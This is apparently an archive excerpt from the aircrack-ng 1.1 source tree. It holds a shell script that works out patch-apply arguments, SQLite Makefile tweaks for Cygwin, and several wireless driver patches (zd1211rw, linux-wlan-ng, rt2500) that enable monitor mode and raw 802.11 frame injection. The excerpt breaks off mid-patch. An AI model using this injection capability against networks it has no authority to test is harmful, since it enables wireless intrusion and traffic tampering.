FGREP1="^--- " FGREP2="^+++ " PREDIR="`pwd`" if [ x"`echo "$1" | grep "^/"`" = x ] then WHOLEPATCH="`pwd`/$1" else WHOLEPATCH="$1" fi if [ ! -f $WHOLEPATCH ] then echo "Patch \"$1\" doesn't exist." exit fi if [ x"$PATCH" = x ] then echo "You need to install \"patch\" prior to patching anything." exit fi if [ x"$1" = x ] then echo "Usage: \"$0 foo.patch\"" exit fi if [ x"`grep "$FGREP1" "$WHOLEPATCH" | awk '{print $2}'`" = x ] then echo "No valid patch file, you need to " fi fcount1=`grep "$FGREP1" "$WHOLEPATCH" | awk '{print $2}' | wc -l` fcount2=`grep "$FGREP2" "$WHOLEPATCH" | awk '{print $2}' | wc -l` if [ $fcount1 -ne $fcount2 ] then echo "Different number of Files: add($fcount2) vs. sub($fcount1). Broken file?" exit fi echo "Trying to find correct path and arguments..." cdr=1 hits=0 maxhits=0 lastfiles=$fcount1 value=0 godown=0 actdown=0 maxcutglobaldirs=`pwd | sed 's/[^\/]//g' | wc -c` j=0 down=0 while [ $j -lt $maxcutglobaldirs ] do fcurnum=`grep "$FGREP1" "$WHOLEPATCH" | awk '{print $2}' | cut -d/ -f$cdr- | grep -v "^$" | wc -l` if [ $fcurnum -lt $fcount1 ] then #too many dirs cut, lost some files down=1 fi hits=0 i=1 while [ $i -lt $fcurnum ] do filename1=`grep "$FGREP1" "$WHOLEPATCH" | awk '{print $2}' | cut -d/ -f$cdr- | grep -v "^$" | head -n $i | tail -n 1` filename2=`grep "$FGREP2" "$WHOLEPATCH" | awk '{print $2}' | cut -d/ -f$cdr- | grep -v "^$" | head -n $i | tail -n 1` if [ -f $PREDIR/$filename1 -o -f $PREDIR/$filename2 ] then hits=$(($hits+1)) fi i=$(($i+1)) done if [ $hits -gt $maxhits ] then maxhits=$hits value=$(($cdr-1)) actdown=$godown fi cdr=$(($cdr+1)) if [ $down -eq 1 ] then down=0 if [ $maxhits -eq $fcount1 ] then break fi godown=$(($godown+1)) PREDIR=`echo $PREDIR | cut -d/ -f1-$(($maxcutglobaldirs-$godown))` j=$(($j+1)) cdr=0 fi done change="cd ./" i=0 while [ $i -lt $actdown ] do change="$change../" i=$(($i+1)) done $change if [ x"`$PATCH -f --dry-run -Np$value -i "$WHOLEPATCH" | grep "ignored\|ERROR"`" != x ] then echo "Found problems with applying "$WHOLEPATCH" from this location." exit fi if [ $maxhits -eq 0 ] then echo "Found no files at all." exit fi if [ $maxhits -lt $fcount1 ] then #echo "I didn't found all files, which should be patched." #echo "Just got $maxhits hits out of $fcount1 proposed" if [ $actdown -gt 0 ] then echo "You may run:" echo "\"($change; patch --dry-run -Np$value -i "$WHOLEPATCH")\"" else echo "You may run:" echo "\"patch --dry-run -Np$value -i $1\"" fi echo "and in case you got no errors, just omit \"--dry-run\"." else if [ $actdown -gt 0 ] then echo "You need to run \"($change; patch -Np$value -i "$WHOLEPATCH")\"" else echo "You need to run \"patch -Np$value -i $1\"" fi fi aircrack-ng-1.1/patches/0000755000000000000000000000000011364675642013677 5ustar rootrootaircrack-ng-1.1/patches/old/0000755000000000000000000000000011364675642014455 5ustar rootrootaircrack-ng-1.1/patches/old/zd1211rw_malformed.patch0000644000000000000000000000330610761053203021000 0ustar rootroot--- linux-source-2.6.17-orig/drivers/net/wireless/zd1211rw/zd_mac.c 2006-10-01 18:42:47.000000000 +0200 +++ linux-source-2.6.17-rawtx/drivers/net/wireless/zd1211rw/zd_mac.c 2007-04-01 22:35:50.000000000 +0200 @@ -716,6 +716,8 @@ u8 rt_rate; u16 rt_channel; u16 rt_chbitmask; + u8 rt_antsignal; + u8 rt_antnoise; } __attribute__((packed)); static void fill_rt_header(void *buffer, struct zd_mac *mac, @@ -729,7 +731,9 @@ hdr->rt_hdr.it_len = cpu_to_le16(sizeof(struct zd_rt_hdr)); hdr->rt_hdr.it_present = cpu_to_le32((1 << IEEE80211_RADIOTAP_FLAGS) | (1 << IEEE80211_RADIOTAP_CHANNEL) | - (1 << IEEE80211_RADIOTAP_RATE)); + (1 << IEEE80211_RADIOTAP_RATE) | + (1 << IEEE80211_RADIOTAP_DBM_ANTSIGNAL) | + (1 << IEEE80211_RADIOTAP_DBM_ANTNOISE)); hdr->rt_flags = 0; if (status->decryption_type & (ZD_RX_WEP64|ZD_RX_WEP128|ZD_RX_WEP256)) @@ -743,6 +747,12 @@ hdr->rt_chbitmask = cpu_to_le16(IEEE80211_CHAN_2GHZ | ((status->frame_status & ZD_RX_FRAME_MODULATION_MASK) == ZD_RX_OFDM ? IEEE80211_CHAN_OFDM : IEEE80211_CHAN_CCK)); + + hdr->rt_antsignal = status->signal_strength; + if(status->frame_status & ZD_RX_OFDM) + hdr->rt_antnoise = status->signal_strength - status->signal_quality_ofdm; + else + hdr->rt_antnoise = status->signal_strength - status->signal_quality_cck; } /* Returns 1 if the data packet is for us and 0 otherwise. */ @@ -834,7 +844,8 @@ const struct rx_status *status; *pstatus = status = zd_tail(buffer, length, sizeof(struct rx_status)); - if (status->frame_status & ZD_RX_ERROR) { + if (status->frame_status & ZD_RX_ERROR + || status->frame_status & ~0x21) { /* FIXME: update? */ return -EINVAL; } aircrack-ng-1.1/patches/old/sqlite-3.6.11-lib_cygwin.diff0000644000000000000000000000152411171142361021441 0ustar rootroot--- Makefile.ori 2009-02-19 22:17:24.015625000 +0100 +++ Makefile 2009-02-19 22:17:55.484375000 +0100 @@ -765,16 +765,12 @@ $(TEMP_STORE) -o $@ $(TESTFIXTURE_SRC) $(LIBTCL) -install: sqlite3$(BEXE) libsqlite3.la sqlite3.h sqlite3.pc ${HAVE_TCL:1=tcl_install} +install: libsqlite3.la sqlite3.h $(INSTALL) -d $(DESTDIR)$(libdir) $(LTINSTALL) libsqlite3.la $(DESTDIR)$(libdir) - $(INSTALL) -d $(DESTDIR)$(bindir) - $(LTINSTALL) sqlite3$(BEXE) $(DESTDIR)$(bindir) $(INSTALL) -d $(DESTDIR)$(includedir) $(INSTALL) -m 0644 sqlite3.h $(DESTDIR)$(includedir) $(INSTALL) -m 0644 $(TOP)/src/sqlite3ext.h $(DESTDIR)$(includedir) - $(INSTALL) -d $(DESTDIR)$(pkgconfigdir) - $(INSTALL) -m 0644 sqlite3.pc $(DESTDIR)$(pkgconfigdir) pkgIndex.tcl: echo 'package ifneeded sqlite3 $(RELEASE) [list load $(TCLLIBDIR)/libtclsqlite3.so sqlite3]' > $@ aircrack-ng-1.1/patches/old/linux-wlan-0.2.3.packet.injection.patch0000644000000000000000000003106610761053203023446 0ustar rootrootdiff -ur linux-wlan-ng-0.2.3/src/p80211/p80211netdev.c linux-wlan-ng-0.2.3-patched/src/p80211/p80211netdev.c --- linux-wlan-ng-0.2.3/src/p80211/p80211netdev.c 2005-10-31 14:54:59.000000000 -0500 +++ linux-wlan-ng-0.2.3-patched/src/p80211/p80211netdev.c 2006-03-16 16:33:03.000000000 -0500 @@ -511,7 +511,7 @@ * and return success . * TODO: we need a saner way to handle this */ - if(skb->protocol != ETH_P_80211_RAW) { + if(skb->protocol != htons(ETH_P_80211_RAW)) { p80211netdev_start_queue(wlandev); WLAN_LOG_NOTICE( "Tx attempt prior to association, frame dropped.\n"); @@ -523,7 +523,7 @@ } /* Check for raw transmits */ - if(skb->protocol == ETH_P_80211_RAW) { + if(skb->protocol == htons(ETH_P_80211_RAW)) { if (!capable(CAP_NET_ADMIN)) { result = 1; goto failed; @@ -950,8 +950,9 @@ dev->set_mac_address = p80211knetdev_set_mac_address; #endif #ifdef HAVE_TX_TIMEOUT - dev->tx_timeout = &p80211knetdev_tx_timeout; - dev->watchdog_timeo = (wlan_watchdog * HZ) / 1000; +// korek: still not implemented +// dev->tx_timeout = &p80211knetdev_tx_timeout; +// dev->watchdog_timeo = (wlan_watchdog * HZ) / 1000; #endif netif_carrier_off(dev); } diff -ur linux-wlan-ng-0.2.3/src/prism2/driver/hfa384x.c linux-wlan-ng-0.2.3-patched/src/prism2/driver/hfa384x.c --- linux-wlan-ng-0.2.3/src/prism2/driver/hfa384x.c 2005-07-20 11:07:16.000000000 -0400 +++ linux-wlan-ng-0.2.3-patched/src/prism2/driver/hfa384x.c 2006-03-17 11:03:09.000000000 -0500 @@ -1871,8 +1871,16 @@ DBFENTER; - cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | - HFA384x_CMD_AINFO_SET(enable); +// cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | +// HFA384x_CMD_AINFO_SET(enable); + if (enable == HFA384x_MONITOR_ENABLE) { + // KoreK: get into test mode 0x0a + cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | + HFA384x_CMD_AINFO_SET(0x0a); + } else { + cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | + HFA384x_CMD_AINFO_SET(enable); + } cmd.parm0 = 0; cmd.parm1 = 0; cmd.parm2 = 0; @@ -3112,12 +3120,34 @@ #endif /* if we're using host WEP, increase size by IV+ICV */ - if (p80211_wep->data) { - txdesc.data_len = host2hfa384x_16(skb->len+8); - // txdesc.tx_control |= HFA384x_TX_NOENCRYPT_SET(1); - } else { - txdesc.data_len = host2hfa384x_16(skb->len); - } +// if (p80211_wep->data) { +// txdesc.data_len = host2hfa384x_16(skb->len+8); +// // txdesc.tx_control |= HFA384x_TX_NOENCRYPT_SET(1); +// } else { +// txdesc.data_len = host2hfa384x_16(skb->len); +// } + + if (skb->protocol != htons(ETH_P_80211_RAW)) { + /* if we're using host WEP, increase size by IV+ICV */ + if (p80211_wep->data) { + txdesc.data_len = host2hfa384x_16(skb->len+8); + // txdesc.tx_control |= HFA384x_TX_NOENCRYPT_SET(1); + } else { + txdesc.data_len = host2hfa384x_16(skb->len); + } + } else { + /* KoreK: raw injection (monitor mode): pull the rest of + the header and ssanity check on txdesc.data_len */ + memcpy(&(txdesc.data_len), skb->data, 16); + skb_pull(skb,16); + if (txdesc.data_len != host2hfa384x_16(skb->len)) { + printk(KERN_DEBUG "mismatch frame_len, drop frame\n"); + return 0; + } + + txdesc.tx_control |= HFA384x_TX_RETRYSTRAT_SET(1); + } + txdesc.tx_control = host2hfa384x_16(txdesc.tx_control); /* copy the header over to the txdesc */ @@ -3140,7 +3170,9 @@ spin_lock(&hw->cmdlock); /* Copy descriptor+payload to FID */ - if (p80211_wep->data) { + +// if (p80211_wep->data) { + if (p80211_wep->data && (skb->protocol != htons(ETH_P_80211_RAW))) { result = hfa384x_copy_to_bap4(hw, HFA384x_BAP_PROC, fid, 0, &txdesc, sizeof(txdesc), p80211_wep->iv, sizeof(p80211_wep->iv), @@ -3586,6 +3618,17 @@ { case 0: + /* KoreK: this testmode uses macport 0 */ + if ((wlandev->netdev->type == ARPHRD_IEEE80211) || + (wlandev->netdev->type == ARPHRD_IEEE80211_PRISM)) { + if ( ! HFA384x_RXSTATUS_ISFCSERR(rxdesc.status) ) { + hfa384x_int_rxmonitor( wlandev, rxfid, &rxdesc); + } else { + WLAN_LOG_DEBUG(3,"Received monitor frame: FCSerr set\n"); + } + goto done; + } + fc = ieee2host16(rxdesc.frame_control); /* If exclude and we receive an unencrypted, drop it */ diff -ur linux-wlan-ng-0.2.3/src/prism2/driver/hfa384x_usb.c linux-wlan-ng-0.2.3-patched/src/prism2/driver/hfa384x_usb.c --- linux-wlan-ng-0.2.3/src/prism2/driver/hfa384x_usb.c 2005-10-31 14:52:36.000000000 -0500 +++ linux-wlan-ng-0.2.3-patched/src/prism2/driver/hfa384x_usb.c 2006-03-18 15:38:19.000000000 -0500 @@ -1398,8 +1398,16 @@ DBFENTER; - cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | - HFA384x_CMD_AINFO_SET(enable); +// cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | +// HFA384x_CMD_AINFO_SET(enable); + if (enable == HFA384x_MONITOR_ENABLE) { + // KoreK: get into test mode 0x0a + cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | + HFA384x_CMD_AINFO_SET(0x0a); + } else { + cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | + HFA384x_CMD_AINFO_SET(enable); + } cmd.parm0 = 0; cmd.parm1 = 0; cmd.parm2 = 0; @@ -3412,37 +3420,71 @@ HFA384x_TX_MACPORT_SET(0) | HFA384x_TX_STRUCTYPE_SET(1) | HFA384x_TX_TXEX_SET(0) | HFA384x_TX_TXOK_SET(0); #endif - hw->txbuff.txfrm.desc.tx_control = - host2hfa384x_16(hw->txbuff.txfrm.desc.tx_control); - - /* copy the header over to the txdesc */ - memcpy(&(hw->txbuff.txfrm.desc.frame_control), p80211_hdr, sizeof(p80211_hdr_t)); +// hw->txbuff.txfrm.desc.tx_control = +// host2hfa384x_16(hw->txbuff.txfrm.desc.tx_control); - /* if we're using host WEP, increase size by IV+ICV */ - if (p80211_wep->data) { - hw->txbuff.txfrm.desc.data_len = host2hfa384x_16(skb->len+8); - // hw->txbuff.txfrm.desc.tx_control |= HFA384x_TX_NOENCRYPT_SET(1); - usbpktlen+=8; - } else { - hw->txbuff.txfrm.desc.data_len = host2hfa384x_16(skb->len); +// /* copy the header over to the txdesc */ +// memcpy(&(hw->txbuff.txfrm.desc.frame_control), p80211_hdr, sizeof(p80211_hdr_t)); + if (skb->protocol != htons(ETH_P_80211_RAW)) { + hw->txbuff.txfrm.desc.tx_control = + host2hfa384x_16(hw->txbuff.txfrm.desc.tx_control); + + /* copy the header over to the txdesc */ + memcpy(&(hw->txbuff.txfrm.desc.frame_control), p80211_hdr, + sizeof(p80211_hdr_t)); + + /* if we're using host WEP, increase size by IV+ICV */ + if (p80211_wep->data) { + hw->txbuff.txfrm.desc.data_len = host2hfa384x_16(skb->len+8); + // hw->txbuff.txfrm.desc.tx_control |= HFA384x_TX_NOENCRYPT_SET(1); + usbpktlen+=8; + } else { + hw->txbuff.txfrm.desc.data_len = host2hfa384x_16(skb->len); + } + } else { + /* KoreK: raw injection (monitor mode): pull the rest of + the header and ssanity check on txdesc.data_len */ + memcpy(&(hw->txbuff.txfrm.desc.data_len), skb->data, 16); + skb_pull(skb,16); + if (hw->txbuff.txfrm.desc.data_len != host2hfa384x_16(skb->len)) { + printk(KERN_DEBUG "mismatch frame_len, drop frame\n"); + return 0; + } +// /* if we're using host WEP, increase size by IV+ICV */ +// if (p80211_wep->data) { +// hw->txbuff.txfrm.desc.data_len = host2hfa384x_16(skb->len+8); +// // hw->txbuff.txfrm.desc.tx_control |= HFA384x_TX_NOENCRYPT_SET(1); +// usbpktlen+=8; +// } else { +// hw->txbuff.txfrm.desc.data_len = host2hfa384x_16(skb->len); + hw->txbuff.txfrm.desc.tx_control |= HFA384x_TX_RETRYSTRAT_SET(1); + hw->txbuff.txfrm.desc.tx_control = + host2hfa384x_16(hw->txbuff.txfrm.desc.tx_control); + + /* copy the header over to the txdesc */ + memcpy(&(hw->txbuff.txfrm.desc.frame_control), p80211_hdr, + sizeof(p80211_hdr_t)); } usbpktlen += skb->len; /* copy over the WEP IV if we are using host WEP */ ptr = hw->txbuff.txfrm.data; - if (p80211_wep->data) { +// if (p80211_wep->data) { + if (p80211_wep->data && skb->protocol != htons(ETH_P_80211_RAW)) { memcpy(ptr, p80211_wep->iv, sizeof(p80211_wep->iv)); ptr+= sizeof(p80211_wep->iv); memcpy(ptr, p80211_wep->data, skb->len); } else { memcpy(ptr, skb->data, skb->len); } + /* copy over the packet data */ ptr+= skb->len; /* copy over the WEP ICV if we are using host WEP */ - if (p80211_wep->data) { +// if (p80211_wep->data) { + if (p80211_wep->data && skb->protocol != htons(ETH_P_80211_RAW)) { memcpy(ptr, p80211_wep->icv, sizeof(p80211_wep->icv)); } @@ -4203,6 +4245,17 @@ switch( HFA384x_RXSTATUS_MACPORT_GET(usbin->rxfrm.desc.status) ) { case 0: + /* KoreK: this testmode uses macport 0 */ + if ((wlandev->netdev->type == ARPHRD_IEEE80211) || + (wlandev->netdev->type == ARPHRD_IEEE80211_PRISM)) { + if ( ! HFA384x_RXSTATUS_ISFCSERR(usbin->rxfrm.desc.status) ) { + hfa384x_int_rxmonitor(wlandev, &usbin->rxfrm); + } else { + WLAN_LOG_DEBUG(3,"Received monitor frame: FCSerr set\n"); + } + goto done; + } + fc = ieee2host16(usbin->rxfrm.desc.frame_control); /* If exclude and we receive an unencrypted, drop it */ diff -ur linux-wlan-ng-0.2.3/src/prism2/driver/prism2mgmt.c linux-wlan-ng-0.2.3-patched/src/prism2/driver/prism2mgmt.c --- linux-wlan-ng-0.2.3/src/prism2/driver/prism2mgmt.c 2005-06-22 10:16:55.000000000 -0400 +++ linux-wlan-ng-0.2.3-patched/src/prism2/driver/prism2mgmt.c 2006-03-18 15:21:03.000000000 -0500 @@ -2860,9 +2860,12 @@ } /* Now if we're already sniffing, we can skip the rest */ - if (wlandev->netdev->type != ARPHRD_ETHER) { +// if (wlandev->netdev->type != ARPHRD_ETHER) { + if ((wlandev->netdev->type != ARPHRD_IEEE80211) && + (wlandev->netdev->type != ARPHRD_IEEE80211_PRISM)) { /* Set the port type to pIbss */ - word = HFA384x_PORTTYPE_PSUEDOIBSS; +// word = HFA384x_PORTTYPE_PSUEDOIBSS; + word = 5; // HFA384x_PORTTYPE_PSUEDOIBSS; result = hfa384x_drvr_setconfig16(hw, HFA384x_RID_CNFPORTTYPE, word); if ( result ) { @@ -2874,6 +2877,8 @@ } if ((msg->keepwepflags.status == P80211ENUM_msgitem_status_data_ok) && (msg->keepwepflags.data != P80211ENUM_truth_true)) { /* Set the wepflags for no decryption */ + /* doesn't work - done from the CLI */ + /* Fix? KoreK */ word = HFA384x_WEPFLAGS_DISABLE_TXCRYPT | HFA384x_WEPFLAGS_DISABLE_RXCRYPT; result = hfa384x_drvr_setconfig16(hw, HFA384x_RID_CNFWEPFLAGS, word); @@ -2919,7 +2924,9 @@ goto failed; } - if (wlandev->netdev->type == ARPHRD_ETHER) { +// if (wlandev->netdev->type == ARPHRD_ETHER) { + if ((wlandev->netdev->type != ARPHRD_IEEE80211) && + (wlandev->netdev->type != ARPHRD_IEEE80211_PRISM)) { WLAN_LOG_INFO("monitor mode enabled\n"); } diff -ur linux-wlan-ng-0.2.3/src/prism2/driver/prism2sta.c linux-wlan-ng-0.2.3-patched/src/prism2/driver/prism2sta.c --- linux-wlan-ng-0.2.3/src/prism2/driver/prism2sta.c 2005-10-07 17:32:44.000000000 -0400 +++ linux-wlan-ng-0.2.3-patched/src/prism2/driver/prism2sta.c 2006-03-18 15:15:00.000000000 -0500 @@ -410,7 +410,9 @@ DBFENTER; /* If necessary, set the 802.11 WEP bit */ - if ((wlandev->hostwep & (HOSTWEP_PRIVACYINVOKED | HOSTWEP_ENCRYPT)) == HOSTWEP_PRIVACYINVOKED) { +// if ((wlandev->hostwep & (HOSTWEP_PRIVACYINVOKED | HOSTWEP_ENCRYPT)) == HOSTWEP_PRIVACYINVOKED) { + if (((wlandev->hostwep & (HOSTWEP_PRIVACYINVOKED | HOSTWEP_ENCRYPT)) == HOSTWEP_PRIVACYINVOKED) + && (skb->protocol != htons(ETH_P_80211_RAW))) { p80211_hdr->a3.fc |= host2ieee16(WLAN_SET_FC_ISWEP(1)); } aircrack-ng-1.1/patches/old/sqlite-3.6.13-lib_cygwin.diff0000644000000000000000000000143311322374733021452 0ustar rootroot--- Makefile.ori 2009-04-14 18:50:49.953125000 +0100 +++ Makefile 2009-04-14 18:52:45.562500000 +0100 @@ -776,14 +776,10 @@ $(INSTALL) -d $(DESTDIR)$(libdir) $(LTINSTALL) libsqlite3.la $(DESTDIR)$(libdir) -install: sqlite3$(BEXE) lib_install sqlite3.h sqlite3.pc ${HAVE_TCL:1=tcl_install} - $(INSTALL) -d $(DESTDIR)$(bindir) - $(LTINSTALL) sqlite3$(BEXE) $(DESTDIR)$(bindir) +install: lib_install sqlite3.h $(INSTALL) -d $(DESTDIR)$(includedir) $(INSTALL) -m 0644 sqlite3.h $(DESTDIR)$(includedir) $(INSTALL) -m 0644 $(TOP)/src/sqlite3ext.h $(DESTDIR)$(includedir) - $(INSTALL) -d $(DESTDIR)$(pkgconfigdir) - $(INSTALL) -m 0644 sqlite3.pc $(DESTDIR)$(pkgconfigdir) pkgIndex.tcl: echo 'package ifneeded sqlite3 $(RELEASE) [list load $(TCLLIBDIR)/libtclsqlite3.so sqlite3]' > $@ aircrack-ng-1.1/patches/old/rt2500-cvs-2005112305.patch0000644000000000000000000000372510761053203020251 0ustar rootrootdiff -ur ../rt2500-cvs-2005112305/Module/rtmp_data.c ./Module/rtmp_data.c --- ../rt2500-cvs-2005112305/Module/rtmp_data.c 2005-11-09 04:33:20.000000000 +0100 +++ ./Module/rtmp_data.c 2005-11-23 14:39:33.000000000 +0100 @@ -1137,6 +1137,9 @@ if ((skb = __dev_alloc_skb(2048, GFP_DMA|GFP_ATOMIC)) != NULL) { + if (pAdapter->PortCfg.MallowRFMONTx == TRUE) + goto rfmontx_80211_receive; + // setup the wlan-ng prismheader if (skb_headroom(skb) < sizeof(wlan_ng_prism2_header)) @@ -1188,6 +1191,8 @@ // end prismheader setup + rfmontx_80211_receive: + skb->dev = pAdapter->net_dev; memcpy(skb_put(skb, pRxD->DataByteCnt), pData, pRxD->DataByteCnt); skb->mac.raw = skb->data; diff -ur ../rt2500-cvs-2005112305/Module/rtmp_info.c ./Module/rtmp_info.c --- ../rt2500-cvs-2005112305/Module/rtmp_info.c 2005-11-19 16:48:46.000000000 +0100 +++ ./Module/rtmp_info.c 2005-11-23 15:22:15.000000000 +0100 @@ -1973,7 +1973,11 @@ { if (pAdapter->PortCfg.BssType == BSS_MONITOR) { - pAdapter->net_dev->type = 802; // ARPHRD_IEEE80211_PRISM + if (pAdapter->PortCfg.MallowRFMONTx == TRUE) + pAdapter->net_dev->type = 801; // ARPHRD_IEEE80211 + else + pAdapter->net_dev->type = 802; // ARPHRD_IEEE80211_PRISM + RTMP_IO_WRITE32(pAdapter, RXCSR0, 0x46); } else if (pAdapter->bAcceptPromiscuous == TRUE) @@ -3828,9 +3832,15 @@ value = *pvalue; if (value == 1) + { pAdapter->PortCfg.MallowRFMONTx = TRUE; + pAdapter->net_dev->type = 801; // ARPHRD_IEEE80211 + } else if (!value) + { pAdapter->PortCfg.MallowRFMONTx = FALSE; + pAdapter->net_dev->type = 802; // ARPHRD_IEEE80211_PRISM + } else return -EINVAL; } aircrack-ng-1.1/patches/old/linux-wlan-0.2.5.packet.injection.patch0000644000000000000000000003113010761053203023440 0ustar rootrootdiff -ru linux-wlan-ng-0.2.5/src/p80211/p80211netdev.c linux-wlan-ng-0.2.5-patched/src/p80211/p80211netdev.c --- linux-wlan-ng-0.2.5/src/p80211/p80211netdev.c 2006-08-31 15:40:47.000000000 +0200 +++ linux-wlan-ng-0.2.5-patched/src/p80211/p80211netdev.c 2007-01-05 09:34:01.000000000 +0100 @@ -511,7 +511,7 @@ * and return success . * TODO: we need a saner way to handle this */ - if(skb->protocol != ETH_P_80211_RAW) { + if(skb->protocol != htons(ETH_P_80211_RAW)) { p80211netdev_start_queue(wlandev); WLAN_LOG_NOTICE( "Tx attempt prior to association, frame dropped.\n"); @@ -523,7 +523,7 @@ } /* Check for raw transmits */ - if(skb->protocol == ETH_P_80211_RAW) { + if(skb->protocol == htons(ETH_P_80211_RAW)) { if (!capable(CAP_NET_ADMIN)) { result = 1; goto failed; @@ -951,8 +951,9 @@ dev->set_mac_address = p80211knetdev_set_mac_address; #endif #ifdef HAVE_TX_TIMEOUT - dev->tx_timeout = &p80211knetdev_tx_timeout; - dev->watchdog_timeo = (wlan_watchdog * HZ) / 1000; +// korek: still not implemented +// dev->tx_timeout = &p80211knetdev_tx_timeout; +// dev->watchdog_timeo = (wlan_watchdog * HZ) / 1000; #endif netif_carrier_off(dev); } diff -ru linux-wlan-ng-0.2.5/src/prism2/driver/hfa384x.c linux-wlan-ng-0.2.5-patched/src/prism2/driver/hfa384x.c --- linux-wlan-ng-0.2.5/src/prism2/driver/hfa384x.c 2006-08-03 16:00:04.000000000 +0200 +++ linux-wlan-ng-0.2.5-patched/src/prism2/driver/hfa384x.c 2007-01-05 09:38:13.000000000 +0100 @@ -1871,8 +1871,16 @@ DBFENTER; - cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | - HFA384x_CMD_AINFO_SET(enable); +// cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | +// HFA384x_CMD_AINFO_SET(enable); + if (enable == HFA384x_MONITOR_ENABLE) { + // KoreK: get into test mode 0x0a + cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | + HFA384x_CMD_AINFO_SET(0x0a); + } else { + cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | + HFA384x_CMD_AINFO_SET(enable); + } cmd.parm0 = 0; cmd.parm1 = 0; cmd.parm2 = 0; @@ -3112,12 +3120,33 @@ #endif /* if we're using host WEP, increase size by IV+ICV */ - if (p80211_wep->data) { - txdesc.data_len = host2hfa384x_16(skb->len+8); - // txdesc.tx_control |= HFA384x_TX_NOENCRYPT_SET(1); - } else { - txdesc.data_len = host2hfa384x_16(skb->len); - } +// if (p80211_wep->data) { +// txdesc.data_len = host2hfa384x_16(skb->len+8); +// // txdesc.tx_control |= HFA384x_TX_NOENCRYPT_SET(1); +// } else { +// txdesc.data_len = host2hfa384x_16(skb->len); +// } + + if (skb->protocol != htons(ETH_P_80211_RAW)) { + /* if we're using host WEP, increase size by IV+ICV */ + if (p80211_wep->data) { + txdesc.data_len = host2hfa384x_16(skb->len+8); + // txdesc.tx_control |= HFA384x_TX_NOENCRYPT_SET(1); + } else { + txdesc.data_len = host2hfa384x_16(skb->len); + } + } else { + /* KoreK: raw injection (monitor mode): pull the rest of + the header and ssanity check on txdesc.data_len */ + memcpy(&(txdesc.data_len), skb->data, 16); + skb_pull(skb,16); + if (txdesc.data_len != host2hfa384x_16(skb->len)) { + printk(KERN_DEBUG "mismatch frame_len, drop frame\n"); + return 0; + } + + txdesc.tx_control |= HFA384x_TX_RETRYSTRAT_SET(1); + } txdesc.tx_control = host2hfa384x_16(txdesc.tx_control); /* copy the header over to the txdesc */ @@ -3140,7 +3169,8 @@ spin_lock(&hw->cmdlock); /* Copy descriptor+payload to FID */ - if (p80211_wep->data) { +// if (p80211_wep->data) { + if (p80211_wep->data && (skb->protocol != htons(ETH_P_80211_RAW))) { result = hfa384x_copy_to_bap4(hw, HFA384x_BAP_PROC, fid, 0, &txdesc, sizeof(txdesc), p80211_wep->iv, sizeof(p80211_wep->iv), @@ -3585,6 +3615,17 @@ switch( HFA384x_RXSTATUS_MACPORT_GET(rxdesc.status) ) { case 0: + + /* KoreK: this testmode uses macport 0 */ + if ((wlandev->netdev->type == ARPHRD_IEEE80211) || + (wlandev->netdev->type == ARPHRD_IEEE80211_PRISM)) { + if ( ! HFA384x_RXSTATUS_ISFCSERR(rxdesc.status) ) { + hfa384x_int_rxmonitor( wlandev, rxfid, &rxdesc); + } else { + WLAN_LOG_DEBUG(3,"Received monitor frame: FCSerr set\n"); + } + goto done; + } fc = ieee2host16(rxdesc.frame_control); diff -ru linux-wlan-ng-0.2.5/src/prism2/driver/hfa384x_usb.c linux-wlan-ng-0.2.5-patched/src/prism2/driver/hfa384x_usb.c --- linux-wlan-ng-0.2.5/src/prism2/driver/hfa384x_usb.c 2006-04-03 18:12:03.000000000 +0200 +++ linux-wlan-ng-0.2.5-patched/src/prism2/driver/hfa384x_usb.c 2007-01-05 09:46:13.000000000 +0100 @@ -1428,8 +1428,16 @@ DBFENTER; - cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | - HFA384x_CMD_AINFO_SET(enable); + // cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | + // HFA384x_CMD_AINFO_SET(enable); + if (enable == HFA384x_MONITOR_ENABLE) { + // KoreK: get into test mode 0x0a + cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | + HFA384x_CMD_AINFO_SET(0x0a); + } else { + cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | + HFA384x_CMD_AINFO_SET(enable); + } cmd.parm0 = 0; cmd.parm1 = 0; cmd.parm2 = 0; @@ -3429,37 +3437,71 @@ HFA384x_TX_MACPORT_SET(0) | HFA384x_TX_STRUCTYPE_SET(1) | HFA384x_TX_TXEX_SET(0) | HFA384x_TX_TXOK_SET(0); #endif - hw->txbuff.txfrm.desc.tx_control = - host2hfa384x_16(hw->txbuff.txfrm.desc.tx_control); - - /* copy the header over to the txdesc */ - memcpy(&(hw->txbuff.txfrm.desc.frame_control), p80211_hdr, sizeof(p80211_hdr_t)); + // hw->txbuff.txfrm.desc.tx_control = + // host2hfa384x_16(hw->txbuff.txfrm.desc.tx_control); - /* if we're using host WEP, increase size by IV+ICV */ - if (p80211_wep->data) { - hw->txbuff.txfrm.desc.data_len = host2hfa384x_16(skb->len+8); - // hw->txbuff.txfrm.desc.tx_control |= HFA384x_TX_NOENCRYPT_SET(1); - usbpktlen+=8; - } else { - hw->txbuff.txfrm.desc.data_len = host2hfa384x_16(skb->len); + // /* copy the header over to the txdesc */ + // memcpy(&(hw->txbuff.txfrm.desc.frame_control), p80211_hdr, sizeof(p80211_hdr_t)); + if (skb->protocol != htons(ETH_P_80211_RAW)) { + hw->txbuff.txfrm.desc.tx_control = + 